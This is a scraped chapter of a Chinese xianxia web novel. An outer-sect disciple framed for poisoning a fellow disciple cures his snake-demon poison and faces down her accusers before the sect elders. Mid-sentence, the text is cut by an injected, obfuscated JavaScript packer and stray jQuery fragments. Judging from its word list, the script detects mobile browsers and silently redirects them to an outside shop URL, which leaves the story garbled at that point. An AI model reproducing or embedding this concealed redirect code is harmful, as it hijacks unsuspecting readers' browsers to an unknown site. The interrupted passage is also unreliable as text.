默认冷灰
24号文字
方正启体

4. 天赋异禀

作者:十回生本书字数:K更新时间:
    闻声望去,来者同自己一样,青衫白衣的一套,腰间木牌挂在身前。


    她眉飞色舞,扬着下巴看人,不像是正经来兴师问罪,倒像是幸灾乐祸,恨不得敲锣打鼓地来给她报丧,身后还带两个眼熟的内门弟子。


    外门做首,加俩内门,这三角阵容,除她肖华也是没谁了。


    华苓月来不及起身,就被突如其来的绳索紧栓,捆成粽子。一张口,笔“嗒”地掉在身上,青衫瞬间被染上墨色。


    她对着身上不堪入眼的墨迹啧了一声,又盯了一会肖华的脚:“肖华,对我这种废柴,用缚灵绳这种法器,你是真,浪费。”


    要知道,所有法器皆有配额,特别这种一次性的低阶法器,对外门弟子管控尤其严格,一缩再缩。华苓月虽不通灵,只剩一成血脉力量,但却自带抗力。


    简单来说就是天生蛮力,对于此等低阶法器,只要她想,挣脱不过眨眼之事。


    “怎会浪费?!”门外传来声音,温婉柔和,音如其名,沐婉音。待到她进门,粉衫白衣映入眼帘,云纹道袍随风飘动,称得上雅正端庄。腰间挂着镂空青牌,清晰可见:沐婉音。


    此为真传大弟子,掌管外门一切事务。


    “华师妹,你可知自己所作所为,触犯门规伤及无辜同门啊。”沐婉音温和笑着,步履缓缓,随手抄起桌案上某张写满罚抄的墨纸,嘲讽道:“这是手抄一整晚吗?该不会偷工减料找人替罚的吧?”


    以灵抄书这事,乃多数人通灵之法,不经意间便可通灵,从而自如地运转灵力。华苓月截然不同,手抄万遍,那本厚如命的百章《通灵则》倒背如流,于她来说却仿佛是堵灵则,毫无效用。所以恶性循环,总是被罚。不过,罚抄亦有捷径,即代抄。


    华苓月这会更好奇地是,这人怎么装的比慕挽星还厉害?昨晚设局杀她,今日还能这般云淡风轻,若无其事地同她说话?


    她爱装,爱藏话,所行华苓月也陪着,一个歪头道:“整个剑宗上下,就我一个废柴。听闻,近期山下妖兽异动,连采买的外门弟子理当结伴,我就算到半夜,连个人都看不见,上哪找别人替我背锅,写罚抄啊?”


    闻言,笑容一僵,沐婉音似想到什么,眼角笑意顿时消散。又拉近一步,轻轻捏住她腰间木牌,摸索间翻转两下:“...”


    华苓月敛眸,压下眼底诧异,愣是没听清她说什么。


    “哎?!”


    沐婉音突然勾着自己腰间系带拽了下,踉跄地朝前跌两步。


    两人几乎毫无距离可言,在剩下三人视角中,像是在说什么加密文语。


    沐婉音:“师妹一个废柴,最好还是收敛点,别聪明反被聪明误,容易自以为是。”


    华苓月低声道:“那我也回敬师姐一句,同样的套路,最好不要超过三次。”


    沐婉音:“师妹要知足啊,你能安然无恙到现在,不过是因为命好呢。”


    华苓月:“我运气确实好,否则昨晚就死了。”


    “......”


    片刻无语后,沐婉音忽而一提笑,道:“华师妹就别担心这可有可无的罚抄了,还是好好想如何同执法长老狡辩,自己一个废柴为何要暗害同门师兄吧。”


    “带走!”


    一路上,华苓月都在回想书灵下发的任务,及所见情节。


    外门弟子方变眠同沐婉音等人,下山采买后,突发急症,跌于山门前。众人手足无措,将其带到长老面前,却见其唇发紫,血脉冰凉,浑身寒战,皮肤出现鳞状物。


    病情突发,将死之际是管理丹药房长老勉强用灵力压制,护住心脉,才活下来。


    待人稍有缓转,一通盘查审问,发现采买时并无异样。唯一的突破口在于,方变眠近日过度劳累,风寒侵入,经华苓月偷偷调理过几日。


    于是,这锅从天降,像是瞄准华苓月脑袋砸的,再经添油加醋,最终怀疑,说她是个装废柴的妖族,专门混入宗门就为惹出骚乱。


    她就这么嘲笑纸片人的智商,笑了半路,全然不顾周围四人看智障似的打量她。


    直到,被押送来执法堂。


    执法堂地处偏僻。整座凌云峰,专门将这一处阴凉漆暗之地空出来,以青石铸就,黑瓦罩顶,自带震慑妖魔鬼魅之气。


    华苓月对这挺熟悉,主要常承包洒扫活计。可要活了二十年的少女,首次体验公堂对峙,她确实没什么经验,想必言辞恭顺,乖巧守礼便能化险为夷吧。


    正堂,没什么光亮,一众内门弟子黑压压的齐聚两侧。边上是蠢蠢欲动的沐婉音和肖华,这俩人就等执法长老到了以后,给自己泼狗血。


    等候期间,华苓月闲来无事,又朝地上瞥去,是昏厥而躺的方便眠。可发紫唇色横竖都不像是因风寒加剧而导致的毒。更何况修仙之人通灵脉,开灵慧,那会因小小风寒而到此等地步?


    她之所以帮忙,还是方便眠想要借风寒挂名,瞒下此事。她当初也没问缘由,如今却因果轮回,转了回来。


    开什么狗屁玩笑,我出手相助都能甩锅到我脸上?!


    昏暗堂内突然烁亮起来,光亮齐聚正堂中央的壁面,那是刻着密密麻麻的宗门律法,令人头皮发麻,地方不大,规矩比沙多。青砖瓦面正泛肃杀般的冷光,令人心生敬重。


    侧堂走出两位长老。


    一位她再熟悉不过,正是日日教习外门弟子的严鹿长老,拄着法杖,立于阶下。一见那张慈祥却可怕的马脸,华苓月手腕蓦地一酸,眼前浮现茫茫纸海。


    至于另一位,立于阶上。


    白袍如玉,纯洁无暇,几乎连一条褶皱都没有,白发由银冠齐齐紧束,铁面无私的神色,几乎可以认定是一众外门弟子皆惧的严律长老。


    同拄法杖,同为白发,他却格外肃重就连那如云的白胡子都板正如耙,多一丝卷翘都像是罪过。


    早听众人议论,这二人性情相似,不过严鹿随严却常与弟子玩笑。可兄长严律却人如其名,严以律人,从不徇私,想来不会帮衬凭空污蔑弟子之人。


    他好像有一大特点,是什么来着?


    对上射来的灼灼目光,华苓月总有莫名认罪的冲动,主要是想跑。她错开眼神,细细回想,不经意瞥见衣衫上不堪入眼的墨迹。


    惨了!


    他有洁癖,最见不得脏,乱,差!这下她没罪也躲不了罚。


    “华苓月,你是否隐瞒自己通灵事实,又是否为外门弟子方便眠治疗?是否暗害下毒?最好如实道来!”严律气势逼人,独自立于阶上,却堪比三堂会审。


    华苓月清清嗓子,若此刻有畏惧之象,便是给自己挖坑,她提声道:“弟子从未通灵,只因略懂医术,为方便眠治疗过风寒,但绝对没有暗害下毒。”


    肖华抖着那点鼠胆,颤颤巍巍插话道:“凌云,凌云剑宗一向剑修,更何况方师兄又不是你一个废柴,怎会收常人疾病所扰?再说,你医术能有多高超,又不是医修,凭什么为他诊病?”


    华苓月回望她,视线又一次下移至她的脚,道:“你前日扭伤,满屋乱叫时,不是这么和我说话的吧?”


    肖华:“...”


    各宗门中虽有医修但却极少,小打小杀的伤痛全凭丹药修复,像方便眠这种突发大病的弟子,皆须去请济灵宗的弟子来诊。华苓月穿来后,也是发现了这一点,费好一番功夫才靠着微末医术在宗门立足,否则就是不只是废柴,而是任人宰割的鱼肉了。


    “不论你医术如何,若是想为修士诊治,起码也要通灵。莫非你隐瞒自己通灵事实?”沐婉音道。


    果然一针见血,华苓月有神农血脉在身,只能凭一成血脉之力,感知别人体内灵力波动,从而结合所读古籍治疗。


    然则,话到她嘴里又是另一种说法:“世间之大,无奇不有,说不定我就是个不通灵也能为修士诊治之人呢?至于通灵,这是有目共睹的,连严鹿长老都能为我作证。”


    两位长老对视一眼。


    严律开口问道:“这批弟子,来了快有半月,她真未通灵?”


    严鹿嫌弃地瞥她一眼,而后点头:“就没见过这么笨的,抄了千万遍,愣是没那个悟性。”


    这到底是公开审问还是聚众羞辱?


    华苓月深吸一气,发觉缚灵绳有崩开的迹象,又连忙将血脉之力憋回去。


    “你当真从未下毒?!若有欺瞒,本长老不介意用刑!!!”严鹿厉声喝问,传遍执法堂每个角落,底下弟子忍不住一个激灵。


    倒非吼声震耳,而是执法堂底下的刑问室,但凡洒扫过的弟子见识过那阴暗之地的恐怖,见过无数血淋淋的妖族被抬出去。


    因为怕疼,华苓月有所畏惧,她还真不敢赌。低眸,酝酿好一阵,委屈巴巴道:“长老您可真是抬举我,弟子因无法通灵,日日被罚抄通灵则,加上前日又来十遍,彻夜未眠,哪有空害他?”


    “怎么没空?你不是前几日还天天为他治病吗?你说自己例外,可又无前例,凭什么说自己是例外?”沐婉音又插话道。


    “对啊,你定是扯谎,近日山下出没妖兽频频,想必定是混进来的妖族。”肖华跟着附和。


    虽说早知,肖华此人从入门时就对自己嗤之以鼻,想方设法在沐婉音耳里一个劲输出坏话。这沐婉音碍于温柔师姐的名号,只是暗中使手段为难。


    今日之事,摆明两人私下筹谋所设。但她没想到,偌大剑宗,连长老都是酒囊饭袋。


    她本想当面审问,好歹公平些,没料到所谓公正严明的长老竟不作为。这对兄弟长老不知在顾及什么,来回只神色交流。华苓月看在眼中,忍在心里。


    “华苓月,你作何解释?”


    居然,还真反过来问她,等她自辩。


    “呵呵!”


    执法堂的静默被一声冷笑刺破。


    她眉宇间的无奈化作冷漠:“不好意思啊,这出戏......我真演不下去了。”


    她屏息抬眸,腕上猛地鼓劲,身上缚灵绳突然发光,有所异动。下一秒,众目睽睽之下,低阶法器顿时崩裂开来,碎如尘埃。众弟子吓得当即出剑,却被两个长老出言呵斥下去。


    她回看紧握剑柄的肖华,无辜道:“你看,我都说过了,对我用这种低阶法器,纯浪费。”


    肖华手心发紧,不自觉地咽了口唾沫。所有人的心跟着她的提到了嗓子眼,正处于警惕边缘,就见华苓月莞尔,笑看地上的方便眠,懒洋洋的嗓音似乎暗藏莫名的邪劲,充斥整个前堂:“我只问一句。”


    “长老想要我解释?还是想要他活着?”


    “......”


    诸弟子屏息凝神,就算缚灵绳低阶,可常人哪会徒手崩开法器。加上她的诳语,和两个长老纵容下,只好放手。看着华苓月在执法堂随心所欲,来去自如。熟练地从右室,搞了盏油灯,又跪在方便眠身边。


    她卷起袖边,搭脉一半,确如她所想的虚弱,但不算很严重。俯身正听心脉,肖华惊道:“你做什么!”


    华苓月眼皮一跳,没理她。


    刚捏脸查口色,见舌根深处黑的奇特,凑上嗅了嗅:“你莫不是要害他!”


    又是肖华。


    华苓月手一抖,又没理她。


    她捏着油灯靠近长黑鳞的脖颈,一路下延似自胸口而出,她怼向光源正查。


    肖华:“你打算烧了他吗?”


    啧!要是可以,我想烧了你!


    锃锃,听着身后一堆剑鞘发出异响,华苓月轻叹一气,只好先将油灯放远,笑着朝肖华招招手,和颜悦色道:“来,你过来帮我一下。”


    “......”肖华同长老对视一眼,又看看沐婉音,半信半疑上前。


    手腕被猛地拽过,倾身跪地而去的瞬间,感到颈部微弱刺痛,待她开口,却再发不出声。


    “抱歉,你实在太吵。一刻钟后,自会解穴。”


    “……”


    沐婉音将其拉回,本想说什么,却见长老都默认她的行为。


    因为不通灵,不算正经医修,诊断症状耗费时间更长,但治疗之法华苓月一点都不含糊。袖中银针,一一下穴。好在她没日没夜去藏书阁抄书时偷工减料......不......休息时,为修医,查过相关典籍。


    论天赋,华苓月最大优势就属学的快,效率高,过目不忘,属于即学即用型。就是悟性不好,永远无法突破那层瓶颈,这也是她当初弃医从文的原因。


    可应付方便眠所中之毒,对她来说,算是游刃有余。


    她自顾又从发髻间抽出几根银针,完全没注意身后,一群被惊掉下巴的外门弟子。


    两位长老看得入迷,忍不住往前凑凑。


    严律似乎怕再干扰她,退两步,又禁不住好奇,问道:“所以,究竟是何毒?”


    华苓月皱眉摇头,神情复杂,闭口不言,只一针又一针下在穴位。


    严鹿因法杖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371924|199952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    捏出一把汗,换了只手道:“莫非,莫非不能活了?”


    两人担忧的心被她牵动,她清清嗓子准备开口,两人凑得更近了,连着一众弟子,包括肖华和沐婉音。


    噤声中,仿佛连呼吸都是罪过。


    “妖毒。”


    定论一出,长老心刚落地,又随她那句“准确来说,蛇妖之毒”又生出焦灼。


    凌云峰上,可是天下第一的凌云剑宗。修仙宗门,皆以凌云宗为首。若是外门弟子法半月,就传出因妖毒而死的弟子,只怕失山下百姓信任之心是小,丢第一宗门的脸面是大。


    考虑到这层,就算掌门和其他长老外出,这余下两位,都知道该如何处事。


    严鹿轻声问:“所以,你也治不了吗?”


    华苓月收全针,转而一笑。这一笑不要紧,反倒把双眼紧闭的方便眠笑活了。


    “咳咳!”他胸口震动着咳了两声。


    两个长老喜出望外,纷纷挤上前,问候道:“感觉如何?有没有事?”


    方便眠被她搀扶坐起身,却有口难言,按着胸口咳好一阵,还是说不出。


    严鹿偏头,疑惑道:“中了蛇妖之毒,会不能说话吗?我怎么记得以前掌门之女中毒没有这个症状。”


    废话!我就是故意施针,让毒在哑穴停滞的。


    华苓月收笑转脸,一本正经道:“估计掌门之女与方师兄不同,他所种之毒,乃人为提炼,作用效果也不同。我只是施针将毒凝聚,暂时存储,而后慢慢清除。”


    见两个老头还是心有余悸,华苓月又补一记安神汤:“不过,我不通灵,若长老同意,可以请灵力较强的师兄师姐,按我所述,清除余毒。”


    唇色和病状都有所缓解,严鹿听罢,彻底安心。挥挥手,找来弟子:“原来如此,那便将方便眠抬下去,好好休息吧。”


    “呜呜!”


    人被架着还没走两步,方便眠突然挣扎,甩开两个弟子,拉起华苓月的手,呜呜地指着自己脖颈。


    华苓月平静中带着点绝望,心道:哥们,你非得给自己加戏吗?你知不知道这副模样像是指认凶手。扎哑穴真是失策,早知救完你,就该让你睡死过去,直接抬下场。


    可不,正如她所想。


    肖华上前两步:“可有什么不适?”


    华苓月叹气:不适?一刻钟少了。


    沐婉音装模作样猜测起来:“方师弟,莫不是想说谁给你下毒?”


    他瞪着沐婉音,眼神异常坚定而急切,偏又冲着华苓月似求非求般的点头。


    华苓月绝望中有点欲哭无泪:哥们,就冲你这个脑子,让你不说话像害你一样。


    其实她也是身不由己,毕竟身后有书灵控制。


    那是昨日就下达的任务:


    [原书设定和剧情中,方便眠是天赋异禀的外门弟子,奈何品行软弱,帮真传弟子沐婉音做过不少坏事,直到被华苓月真诚相待。因不愿听沐婉音命令给华苓月下药,反而做了替死鬼。]


    而她要做的是,让软弱的方便眠继续隐忍,维持人设,不可在堂上贸然张口,指认沐婉音。


    书灵怕不是在整我,他哪里软弱无能?我看这惹祸添乱的本事倒是天赋异禀啊!


    就在两位长老起疑之时,华苓月突然下定决心,捂住抓着自己的那双手道:“方师兄可是想感谢我前几日为你治疗风寒?”


    他眸光闪过一丝讶异,转瞬化作肯定,附和她的话点头。


    听到旁边两位长老长输一气,华苓月又道:“师兄病情刚有好转,我知你想开口说话,可师妹尚未通灵,且医术平庸,待日后长老安排灵力高强的师兄师姐,加上我辅助,定能解决你体内的妖毒。来日方长,感谢之言不,必,多,说。”


    不知他是否听懂这言外之意,总归是安心放手被抬出堂了。


    华苓月垂眸,看着白嫩手腕上留下的红印:那刻眼神,绝不是个一直软弱之人,一朝之间才有的变化。


    此事耗太长时间,两位长老你一言我一语,似有草率揭过之意。


    可华苓月反倒不想放过:“这凌云峰上,天下第一的剑宗,竟会有人提炼妖毒来陷害妖族,长老难道不该彻查?”


    此话一出,顿时,鸦雀无声,将退的人潮又一次翻涌,惹得目光集聚。


    沐婉音扯扯笑:“师妹说话可要慎重,妖族本就祸患,人人得而诛之。何来陷害一说?”


    华苓月当即回怼,懒散语调中辞色俱厉:“师姐说话才要慎重,我说的是有人,提,炼,妖,毒,断章取义可不是什么好习惯啊。”


    “......”


    两人视线相对,只在片刻擦出火花。


    同为外门弟子,都是第一次见华苓月这个废柴敢和真传弟子当面硬刚,一出大戏将开,谁舍得打断。


    “华师妹,凭什么说是有人,提炼?”


    很好,中套了。


    本来华苓月还担心,沐婉音那句容易把众人思维带跑偏,没想到居然被她自己扯回来。


    “方才长老也说过,掌门之女曾也中过蛇妖之毒,想必情况更为严峻。几日来,我为师兄治疗风寒,并未发现有任何异样。直到今日,他突然发病。想必那下毒之人没料到自己所下妖毒过于强烈,竟在山门前发作。”


    “你胡说八道!”肖华突然插声斥骂,吸引一众目光。


    呦!这心理素质,果然禁不住激,华苓月正想着,打算继续敲诈,就听沐婉音质问:“师妹日日为方师弟诊疗,那你昨日在哪?昨晚我去找他安排下山采买事务,可没见到你啊。”


    “昨夜?”华苓月心头一怔,心虚的目光轻闪,不动声色装回淡然模样:“昨夜我当然是被严鹿长老罚去后山悟灵啊。”


    “是吗?可我今日是在藏书阁抓到你的哦,听说严鹿长老罚你后山顿悟一整晚,你跑去藏书阁做什么?”


    “我......”


    华苓月心虚了,这话表面问她究竟去哪,实际承认与否她都错了。若认,便要担下公然违抗长老之令的罪名,若否便又要认下欺瞒长老的罪责。于她而言,左右不过都要加重惩罚。


    沐婉音或许知她拿不出昨晚杀局的证明,才敢肆无忌惮扯后山,毕竟外门攀扯诬陷真传也是重罪。但一诺千金,发过的誓言,还是要尊重两下。


    华苓月刚想否认,就听背后内门弟子中,传来耳熟的嗓音。


    “因为昨晚,是我带她去的藏书阁!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)